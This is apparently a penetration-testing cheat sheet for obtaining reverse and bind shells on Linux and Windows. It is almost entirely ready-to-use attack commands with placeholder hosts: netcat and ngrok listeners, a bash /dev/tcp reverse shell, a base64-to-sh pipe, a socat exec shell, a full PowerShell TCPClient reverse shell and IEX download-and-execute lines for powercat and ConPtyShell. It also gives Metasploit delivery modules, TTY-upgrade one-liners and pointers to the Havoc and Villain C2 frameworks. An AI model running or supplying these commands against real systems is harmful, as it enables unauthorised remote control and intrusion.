# Reverse & Bind Shells {% tabs %} {% tab title="Generator" %} {% embed url="" %} Generator {% endembed %} {% endtab %} {% tab title="Reverse Shell" %} {% embed url="" %} Reverse Shell {% endembed %} {% endtab %} {% tab title="Bind Shell" %} {% embed url="" %} Bind Shell {% endembed %} {% endtab %} {% tab title="Note" %} ``` busybox nc ``` {% endtab %} {% endtabs %} ## Listener {% code overflow="wrap" %} ```bash nc -nlvp ``` {% endcode %} Public to the world {% code overflow="wrap" %} ```bash ngrok tcp ``` {% endcode %} ## Main {% tabs %} {% tab title="Linux" %} {% code overflow="wrap" %} ```bash /bin/bash -c 'bash -i>&/dev/tcp// 0>&1'; ``` {% endcode %} {% code overflow="wrap" %} ```bash echo "" | base64 -d | sh ``` {% endcode %} ```bash socat TCP4:: EXEC:/bin/bash ``` {% endtab %} {% tab title="Windows" %} {% code overflow="wrap" %} ```powershell powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` {% endcode %} {% code overflow="wrap" %} ```powershell powershell -enc ``` {% endcode %} With [powercat](https://github.com/besimorhino/powercat) on attacker machine and adding at the end {% code overflow="wrap" %} ```powershell powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://:/powercat.ps1');powercat -c -p -e powershell" ``` {% endcode %} See also [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1). {% endtab %} {% tab title="Metasploit" %} {% code overflow="wrap" %} ``` exploit/multi/script/web_delivery ``` {% endcode %} {% code overflow="wrap" %} ``` exploit/windows/smb/smb_delivery ``` {% endcode %} {% endtab %} {% endtabs %} ## TTY {% tabs %} {% tab title="TTY" %}
DescriptionCommand
Bash/bin/bash -i
Pythonpython3 -c 'import pty; pty.spawn("/bin/bash")'
Perlperl —e 'exec "/bin/sh";' perl: exec "/bin/sh";
Rubyruby: exec "/bin/sh"
Lualua: os.execute('/bin/sh')
AWKawk 'BEGIN {system("/bin/sh")}'
SocatOn Attacker
socat file:`tty`,raw,echo=0 tcp-listen:<PORT2>
On RevShell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<Attacker_IP>:<PORT2>
penelopeShell handler with auto-upgrade shells to PTY
ConPtyShellWindows TTY
stty raw -echo; (stty size; cat) | nc -lvnp <PORT>
IEX(IWR http://<IP_SERVER>:<PORT_SERVER>/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <MY_IP> <MY_PORT>
rlwrapA readline wrapper, allow the editing of keyboard input for any command.
rlwrap <COMMAND> <ARGS>

rlwrap -cAr nc -lnvp 80
reverse-sshStatically-linked ssh server with reverse shell functionality.
Victim:
.\reverse-ssh.exe -p 9999
Attacker:
ssh -p 9999 <USER>@<TARGET>
{% endtab %} {% tab title="Note" %} {% code overflow="wrap" %} ```bash stty raw -echo fg ``` {% endcode %} {% endtab %} {% endtabs %} ## Command & Control (C2)
HavocHavoc is a modern and malleable post-exploitation command and control framework with GUI.
Doc
VillainA high level stage 0/1 C2 framework that can handle multiple reverse TCP & HoaxShell-based shells, enhance their functionality with additional features (commands, utilities) and share them among connected sibling servers (Villain instances running on different machines).
Doc